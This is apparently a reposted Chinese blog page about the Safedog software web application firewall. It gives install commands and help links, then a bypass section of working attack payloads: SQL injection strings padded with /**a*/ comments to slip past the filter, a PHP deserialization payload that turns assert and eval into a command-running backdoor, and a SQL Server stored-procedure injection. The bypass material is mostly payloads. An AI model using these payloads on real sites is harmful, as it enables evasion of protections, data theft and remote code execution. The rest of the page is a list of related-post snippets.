应用安全-安全设备-Waf系列-软Waf-安全狗（Safedog）

安装 - Linux

下载
http://download.safedog.cn/safedog_linux64.tar.gz
wget http://download.safedog.cn/safedog_linux64.tar.gz

解压
tar xvf safedog_linux64.tar运行
./install.py卸载
进入安装包解压目录
chmod +x uninstall.sh
./uninstall.sh

安装 - Windows

下载
http://down.safedog.cn/download/software/safedogfwqV5.0.exe

使用指南

https://www.safedog.cn/download/software/safedogfwq_Windows_Help.pdf

https://www.safedog.cn/download/software/safedogfwq_linux_Help.pdf

绕过

规则缺陷绕过 - 搜索框 + 字符型SQL注入 + IIS + ASPX + /**a*/

aspx?Pro=广x' and 1=1 --     #检测
aspx?Pro=广x' /**a*/and 1=1 --     #绕过

#遍历

aspx?Pro=广x' /**a*/union /**a*/select 1,2,3,4,5 --   aspx?Pro=广x' /**a*/and 1=(select 1) --

PHP反序列化绕过

<?php
class A{public $name;public $male;function __destruct(){$a = $this->name;$a($this->male);}
}
unserialize($_POST['un']);
?>POST - un=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:16:"eval($_GET["x"])";}GET -  x=phpinfo(); --结合Hackbar使用

存储过程 + SQLServer 绕过

?type=1;EXEC/*(*/student..sp_sqlexec 'CREATE PROCEDURE myexec(@s VARCHAR(1024)) as exec(@s)'

转载于:https://www.cnblogs.com/AtesetEnginner/p/11356377.html

应用安全-安全设备-Waf系列-软Waf-安全狗（Safedog）相关推荐

全方位绕过软WAF攻略
0×00 前言现在软waf较为多,就在今年夏天苦逼挖洞的日子里经常遇到360主机卫士,安全狗,云锁之类的软waf进行拦截,经常碰到如下拦截提示: 看到以上三个拦截提示就让人头疼不已,欲罢不能. so ...
考试备战系列--软考--02基础知识复习
这部分主要是计算机基础知识的概念介绍,相关系列文章如下所示. 考试备战系列--软考--01基础架构概念考试备战系列--软考--02基础知识复习考试备战系列--软考--03综合知识复习考试备战系列 ...
启动设备ar1失败错误代码2_设备启动系列（2）寿力空压机
设备启动系列(2) 寿力空压机寿力空压机启动检查及注意事项寿力空压机启动前检查 1.仔细检查机组各部位有无异常 ---检查空滤有无破损. ---手动盘动机头是否灵活. ---油滤.油分罐.各油路管 ...
WAF自动化Fuzz工具-WAFNinja（绕WAF、绕过WAF）
目录前言简介下载安装下载方式: 安装使用查看帮助信息使用示例参数介绍前言在我们平时做渗透测试的时候,难免会遇到各种WAF的阻挡.这时一款良好的绕过WAF的渗透测试工具就显得很受渗透 ...
设备指纹系列--前端篇
基础篇请看:设备指纹系列–基础篇我们接着前文继续写关于设备指纹前端接入方面的内容.话不多说,直接步入正题. 我们会在下文展示5种前端接入的方式,包括web接入.安卓接入.ios接入.微信小程序接入以 ...
（18）【WAF绕过】WAF部署、绕过分析和原理、注入绕过WAF方法
目录一.WAF部署: 1.1.阿里云盾 1.2.安全狗: 1.3.宝塔面板: 下载地址: 桌面应用端 web网页端二.WAF绕过 2.1.原理: 2.2.介绍: 2.3.WAF分为非嵌入型WAF和 ...
涡轮发动机图测试线2010开关测试机SW辊子输送机用抓手SW双头精雕机IGSFPC折弯设备、FPC软板折弯机SWZ4直流电机_三维图Z4-112-4-1_5.5KW_160-1抛光机三维图
涡轮发动机图测试线2010开关测试机SW 辊子输送机用抓手SW 双头精雕机IGS FPC折弯设备.FPC软板折弯机SW Z4直流电机_三维图Z4-112-4-1_5.5KW_160-1 抛光机三维图 ...
STM32系列 STM32F4xx 独立看门狗（IWDG）
2019独角兽企业重金招聘Python工程师标准>>> 0 前言由于单片机的工作常常会受到来自外界电磁场的干扰,造成各种寄存器和内存数据混乱,会导致程序指针错误,不在程序区 ...
php waf 搭建,开源WAF搭建
ModSecurity 在Ubuntu和Nginx上安装,nginx版本为1.14.0. 安装需要包下载编译ModSecurity 3.0源代码进入目录运行编译如果出现fatal: No nam ...
【WAF】雷池waf升级体验
文章目录前言一.更新二.功能体验 1.仪表板 2.自定义规则: 3. 通用配置: 更新总结新增优化: 前言最近雷池有比较大的更新,安装可以参考以前文章雷池waf安装,更新了数据统计也就是仪 ...

应用安全-安全设备-Waf系列-软Waf-安全狗（Safedog）

应用安全-安全设备-Waf系列-软Waf-安全狗（Safedog）相关推荐

最新文章

热门文章